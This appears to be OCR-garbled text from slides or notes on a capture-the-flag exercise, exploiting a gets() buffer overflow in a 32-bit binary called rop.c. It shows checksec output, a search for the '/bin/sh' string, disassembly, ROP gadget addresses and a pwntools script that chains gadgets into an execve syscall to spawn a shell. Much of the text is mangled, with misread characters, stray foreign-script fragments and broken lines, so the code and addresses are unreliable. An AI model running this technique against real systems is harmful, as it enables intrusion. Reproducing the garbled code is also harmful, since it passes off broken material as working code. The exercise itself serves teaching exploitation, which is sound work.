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i386-32-1little
Partial RELRO

No canary found
NX enabled

No PIE (©x8048000)
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[ex08048dea]> iz | grep /bin/sh

000 0x0PV76408 Ox080bed08 7 8 (.rodata) ascii /bin/sh

T
FEmainek H b A LG K e EL gets (), BCHIHR /N exdc

0x08048e8f 8d44241c lea eax, dword [var_1ch] ; .//rop.c:15
0x08048e93 890424 mov dword [esp], eax

0x08048e96 e8b5670000 call sym.gets

payload
i Josystem, Hibin/sh, i R4 Hint801) 77 X3k Hishell

My XA FE 75 2 Bleax, ebx, ecx, edxlU/~gadgetfilint 80 I

. pop eax; ret;

pop edx
pop ecx

pop ebx
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: int 0x80; ret;

fitpaylaod

(ex1c ox4)
p32(pop_eax) PEPA(:))
p32(pop_edx_ecx_ebx) p(0) p(0)
p32(int80)

from pwn import
conn = process(

pop_eax = Ox080e3fle
pop_edx_ecx_ebx = 0x0806eb90
int80 0x08061230

binsh 0x080be408

(ex1c ox4)
p32(pop_eax) p32(0xb)
p32(pop_edx_ecx_ebx) p(9) p(9)
p32(int80)

conn.recvuntil(

conn.sendline(paylaod)
conn.interactive()

p(binsh)

p(binsh)
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